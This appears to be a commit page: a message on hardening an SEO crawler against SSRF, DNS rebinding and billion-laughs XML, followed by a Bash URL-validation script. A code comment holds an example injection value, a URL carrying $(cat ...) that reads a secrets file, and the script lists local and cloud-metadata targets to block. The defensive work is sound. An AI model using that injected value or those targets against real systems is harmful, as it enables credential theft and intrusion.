Bastien Chanot
b00e8ef442
By-principle hardening. H1's url-guard validates the NAME; urlopen then resolved AND connected — two DNS lookups with a window a hostile authority uses to answer PUBLIC to validation and PRIVATE (169.254.169.254 metadata, 127.0.0.1, the LAN) to the connect. A name-level guard cannot see that rebind. safe_fetch collapses the two lookups into one: resolve ONCE, validate every IP (ipaddress, dual-stack v4+v6), refuse if ANY is non-public (the multi-A vector), connect to the exact validated IP with Host+SNI+cert for the real host — no second resolution to poison. Redirects re-validate each hop (urlopen followed them blind). One seam: sitemap._fetch, which linkgraph/render_check/drift all call, so every network verb inherits it. The load-bearing property (confirmed by the security review): classification is on the OS-resolved address (sockaddr[0]), never the URL text — so octal/hex/ decimal literals, IPv4-mapped IPv6, NAT64, 6to4 are all defeated structurally, not by enumeration. Better than the source idea (claude-seo url_safety.py, MIT): dual-stack (theirs IPv4-only), no global monkeypatch so thread-safe by construction (theirs locks a patched getaddrinfo), stdlib-only (no requests). Proven end-to-end before writing: pinned connect keeps SNI+cert for the real host. NOT covered, stated not silent: shell `curl` in the agent specs (separate process, unpinnable here). Smaller surface; `curl --resolve` is a separate change. REVIEW-SURFACED (fresh security-auditor, adversarial, VERDICT PASS) — two real holes it found while attacking the diff, both fixed here: - billion-laughs REOPENED in C1b: _refuse_dtd scanned only raw[:4096], so a >4KB leading comment pushed <!DOCTYPE past the window while ET parsed AND EXPANDED the entities. Proven (&lol2; → "lollollollollol"), now a full-doc case-insensitive scan. This is a genuine fix to already-merged C1b, not this feature — fixed here rather than filed, per root-cause discipline. - 192.88.99.0/24 (6to4-relay anycast) passed is_global as public — added to an extra special-use deny list. Verified: rebind-to-metadata refused BEFORE any connect (injected resolver), multi-A public+private refused, classifier fuzzed dual-stack incl. CGNAT/6to4, non-http scheme refused, both review fixes proven with no false positive; real fetch still works (zenquality 86 loc, lavageangels 24) through the pinned path; all 4 verbs work end-to-end via fetch.sh; seo-data 210 → 221 pass, 0 fail; full suite green; shellcheck + py_compile clean.
84 lines
3.8 KiB
Bash
84 lines
3.8 KiB
Bash
#!/usr/bin/env bash
|
|
# Validate a host or URL BEFORE it reaches a shell command or curl.
|
|
# Echoes the value on stdout when safe; exits 2 with a reason on stderr.
|
|
#
|
|
# HOST="$(bash ~/.claude/lib/url-guard.sh host "$RAW")" || exit 2
|
|
# URL="$(bash ~/.claude/lib/url-guard.sh url "$RAW")" || exit 2
|
|
#
|
|
# WHY: /seo and /geo interpolate externally-supplied strings into ~10 curl
|
|
# commands (seo-analyzer.md:254+, geo-analyzer.md:248+). Today $DOMAIN is typed
|
|
# by the operator, so the risk is self-inflicted. The sitemap crawl (C1) changes
|
|
# that: URLs then come from the TARGET'S OWN SERVER — a remote file whose bytes
|
|
# reach a shell. Inside the double quotes those curls use, the characters that
|
|
# break out are $ ` \ " — so a <loc> of
|
|
# https://x/$(cat ${HOME}/.claude/.env)
|
|
# would read GOOGLE_OAUTH_CLIENT_SECRET and CRUX_API_KEY straight out of the
|
|
# vault and into a request. Allowlist, per CLAUDE.md: explicit allowlist beats
|
|
# implicit denylist.
|
|
#
|
|
# DNS-level SSRF (a public hostname that RESOLVES to a private address, or
|
|
# rebinds between check and connect): this NAME-level guard does not catch it —
|
|
# closing it needs resolve-then-pin at the HTTP layer. That is now DONE for the
|
|
# Python egress: lib/seo-data/safe_fetch.py pins every fetch (sitemap, linkgraph,
|
|
# rendercheck, drift). It is NOT done for shell `curl`, which cannot pin without
|
|
# `curl --resolve`; those paths keep this literal-local check only. Stated, not
|
|
# silent — see lib/seo-data/README.md (safe_fetch).
|
|
set -uo pipefail
|
|
|
|
_die() { echo "url-guard: $1" >&2; exit 2; }
|
|
|
|
# Whole-string charset guards: C locale + POSIX `case`, the same shape as
|
|
# fetch.sh:25 _label_safe. Newline-proof and locale-independent, unlike a
|
|
# per-line grep. No `$` or backtick inside the patterns, so nothing expands.
|
|
_host_charset_ok() ( LC_ALL=C; case "$1" in
|
|
''|[!A-Za-z0-9]*|*[!A-Za-z0-9.-]*) exit 1 ;; esac )
|
|
|
|
# Authority + path + query. Excludes $ ` \ " ' ; | ( ) * ! space and newline —
|
|
# none of which a real sitemap URL needs, all of which a shell reads.
|
|
_rest_charset_ok() ( LC_ALL=C; case "$1" in
|
|
''|*[!A-Za-z0-9._~:/?#@=\&%+,-]*) exit 1 ;; esac )
|
|
|
|
# Literal local/private/metadata targets. This is a LITERAL check, not a DNS
|
|
# one: it stops the obvious, not a hostname that resolves inward.
|
|
_host_is_local() ( LC_ALL=C
|
|
# ${1,,} not tr: no fork, and no SC2018/SC2019 noise. Safe because the
|
|
# charset guard has already run — the string is [A-Za-z0-9.-] by here.
|
|
case "${1,,}" in
|
|
localhost|*.localhost|*.local|0.0.0.0|broadcasthost) exit 0 ;;
|
|
127.*|10.*|169.254.*|192.168.*) exit 0 ;;
|
|
172.1[6-9].*|172.2[0-9].*|172.3[01].*) exit 0 ;;
|
|
metadata.google.internal|metadata) exit 0 ;;
|
|
*) exit 1 ;;
|
|
esac )
|
|
|
|
_reject_local() { _host_is_local "$1" && _die "local/private target refused: '$1'"; return 0; }
|
|
|
|
check_host() {
|
|
_host_charset_ok "$1" || _die "host charset (allowed A-Za-z0-9.-): '$1'"
|
|
_reject_local "$1"
|
|
printf '%s\n' "$1"
|
|
}
|
|
|
|
check_url() {
|
|
local rest host
|
|
case "$1" in
|
|
https://*) rest="${1#https://}" ;;
|
|
http://*) rest="${1#http://}" ;;
|
|
*) _die "scheme must be http or https: '$1'" ;;
|
|
esac
|
|
_rest_charset_ok "$rest" || _die "url charset: '$1'"
|
|
host="${rest%%/*}"; host="${host%%\?*}"; host="${host%%#*}"
|
|
# user@host hides the real target: https://trusted.com@127.0.0.1/ hits .0.0.1
|
|
case "$host" in *@*) _die "userinfo in authority (confusion vector): '$1'" ;; esac
|
|
host="${host%%:*}" # drop :port before validating the host
|
|
_host_charset_ok "$host" || _die "host charset: '$host'"
|
|
_reject_local "$host"
|
|
printf '%s\n' "$1"
|
|
}
|
|
|
|
case "${1:-}" in
|
|
host) [ $# -eq 2 ] || _die "usage: url-guard.sh host <hostname>"; check_host "$2" ;;
|
|
url) [ $# -eq 2 ] || _die "usage: url-guard.sh url <url>"; check_url "$2" ;;
|
|
*) _die "usage: url-guard.sh {host|url} <value>" ;;
|
|
esac
|